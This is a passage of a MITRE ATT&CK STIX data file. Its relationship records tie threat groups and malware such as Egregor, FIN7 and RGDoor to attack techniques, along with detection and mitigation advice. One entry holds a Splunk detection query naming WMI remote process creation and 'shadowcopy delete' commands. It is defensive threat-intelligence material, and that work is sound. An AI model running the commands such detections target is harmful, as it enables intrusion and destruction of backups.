2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.564Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--edda676e-bd01-4983-b491-bf6c5d9a84db","created":"2024-02-13T16:23:47.207Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-13T16:23:47.207Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to discover files with .css, .jpg, .png, .gif, .ico, .js, and .jsp extensions in Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eddcfbbf-9e82-4029-87fe-bf0f6bea0ba9","type":"relationship","created":"2021-01-07T20:50:42.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-03-22T22:05:59.633Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used an encoded PowerShell command by a service created by [Cobalt Strike](https://attack.mitre.org/software/S0154) for lateral movement.(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edea5971-fc27-4637-8de9-aabcd50784a7","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets","description":"Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.","source_name":"Symantec Strider Blog"},{"url":"https://securelist.com/faq-the-projectsauron-apt/75533/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.","source_name":"Kaspersky ProjectSauron Blog"}],"modified":"2019-03-25T16:59:10.964Z","description":"(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)","relationship_type":"uses","source_ref":"intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656","target_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edf637a6-fcaa-45f8-b107-c8d81315bf33","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--edfa094b-72a6-4d21-a409-66b86d07ef4b","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:53:39.129Z","description":"Monitor executed commands and arguments for actions that are used to perform remote behavior.\n\nAnalytic 1 - Look for wmic.exeexecution with arguments indicative of remote process creation.\n\n index=windows_logs sourcetype=WinEventLog:Security OR sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational\n| eval CommandLine=coalesce(CommandLine, ParentCommandLine)\n| eval ProcessName=lower(ProcessName), CommandLine=lower(CommandLine)\n| search ProcessName IN (\"wmic.exe\", \"powershell.exe\", \"wbemtool.exe\", \"wmiprvse.exe\", \"wmiadap.exe\", \"scrcons.exe\")\n| search CommandLine IN (\"*process call create*\", \"*shadowcopy delete*\", \"*process start*\", \"*createobject*\")\n| stats count by _time, ComputerName, User, ProcessName, CommandLine, ParentProcessName, ParentCommandLine, dest, src_ip, dest_ip\n| eval alert_message=\"Suspicious WMI activity detected: \" + ProcessName + \" executed by \" + User + \" on \" + ComputerName + \" with command: \" + CommandLine\n| where NOT (User=\"SYSTEM\" OR ProcessName=\"wmiprvse.exe\" OR CommandLine=\"*wmic shadowcopy delete*\" AND src_ip=\"trusted_ip_range\")\n| table _time, ComputerName, User, ProcessName, CommandLine, ParentProcessName, ParentCommandLine, src_ip, dest_ip, alert_message","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--edfebe9b-4387-47e6-8a77-30cfe824c037","created":"2024-03-26T18:44:20.247Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:44:20.247Z","description":"","relationship_type":"uses","source_ref":"intrusion-set--8332952e-b86b-486b-acc3-1c2a85d39394","target_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee00cd55-254b-4780-be47-e0f78a327c93","type":"relationship","created":"2020-05-05T18:53:08.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.473Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.(Citation: QiAnXin APT-C-36 Feb2019) ","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee02be12-0884-43dc-b0b4-aaaa306b1f19","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","source_name":"Lazarus RATANKBA"}],"modified":"2019-09-09T19:15:45.687Z","description":"(Citation: Lazarus RATANKBA)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee03d4e8-79e5-408f-a533-462774da46ed","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-17T02:29:15.892Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) uploads and downloads files to and from the victim’s machine.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee05131d-83bd-4eb5-b6c1-0f6925045b95","type":"relationship","created":"2019-01-30T17:33:40.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec MuddyWater Dec 2018","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."}],"modified":"2019-06-28T15:30:58.853Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim email.(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee0f724e-6622-40db-8a31-82fb6b361e0b","created":"2024-03-01T15:13:33.503Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:13:33.503Z","description":"Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee139d6e-190f-4def-bdf2-a9cf77720125","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior.","modified":"2022-04-14T12:56:23.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee146f0e-a4ce-41fd-aea2-4e7b82e047eb","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for unexpected file access on removable media","source_ref":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee14c1f8-55f5-4fcf-adc3-dc34d6ade005","type":"relationship","created":"2020-02-12T18:56:31.130Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T18:56:31.130Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee1558f7-5b93-49c7-89c8-b3151cbefb84","type":"relationship","created":"2020-06-08T18:06:36.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.311Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify connected Apple devices.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee1a14f3-9e2e-44a5-8d1f-4a093dbd0c94","type":"relationship","created":"2021-03-02T16:51:57.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:51:57.051Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) has been installed as a Windows service.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee1b1aee-a635-4008-813d-fab125f0b0a5","type":"relationship","created":"2020-05-04T19:13:35.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.497Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to do real time screen viewing on an infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee1dd5bc-9d75-4f46-87a1-12fcb7183f32","type":"relationship","created":"2021-08-03T14:06:06.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.489Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can use protocol handlers to coax the operating system to send NTLMv2 authentication responses to attacker-controlled infrastructure.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee1f163e-7d9b-449a-ba71-0d0091abfb8a","type":"relationship","created":"2019-10-11T16:04:32.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-15T17:07:57.768Z","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) has exploited the loading of the legitimate Dwrite.dll file by actually loading the gdi library, which then loads the gdiplus library and ultimately loads the local Dwrite dll.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee2068ec-c520-476e-979f-3dea201d0b9e","type":"relationship","created":"2019-02-14T17:40:25.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.306Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) has modules such as Get-NetDomainTrust and Get-NetForestTrust to enumerate domain and forest trusts.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee212490-822c-4851-bf2f-06b8179a9a38","type":"relationship","created":"2020-02-11T18:41:44.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:41:44.872Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c","type":"relationship","created":"2017-05-31T21:33:27.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"New DragonOK","description":"Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.","url":"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"}],"modified":"2019-03-22T20:10:33.048Z","description":"(Citation: New DragonOK)","relationship_type":"uses","source_ref":"intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee2fcc2b-735d-4948-b25a-401f60fe7412","type":"relationship","created":"2020-02-05T19:34:05.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T15:58:04.945Z","description":"Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee3162ad-e88e-401c-9fdf-e7f0784141a4","type":"relationship","created":"2019-10-05T02:15:30.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amazon S3 Security, 2019","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."}],"modified":"2020-07-09T14:02:05.384Z","description":"Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.(Citation: Amazon S3 Security, 2019)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee32984e-152b-4792-a722-4150418851f1","created":"2022-03-30T14:26:51.854Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor access to file resources that contain local accounts and groups information such as /etc/passwd, /Users directories, and the Windows SAM database. \n\nIf access requires high privileges, look for non-admin objects (such as users or processes) attempting to access restricted file resources.","modified":"2022-04-14T14:04:27.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee337a7e-ceef-4666-9535-c25ac04f4056","created":"2022-04-28T15:24:40.054Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations.","modified":"2022-04-28T15:24:40.054Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee35c721-0b74-4811-8d41-507270d0b9c7","type":"relationship","created":"2021-01-08T21:10:43.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-08T21:10:43.669Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can encrypt C2 communications.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee3648f7-1066-4a85-9652-2ce54fc7964a","created":"2023-07-27T20:48:30.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.963Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has logged the keystrokes of victims to escalate privileges.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee382a02-cde0-49a8-89e2-26237a25740c","created":"2020-02-04T13:06:49.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Primary Refresh Token","description":"Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T23:02:14.176Z","description":"When possible, store keys on separate cryptographic hardware instead of on the local system. For example, on Windows systems use a TPM to secure keys and other sensitive credential material.(Citation: Microsoft Primary Refresh 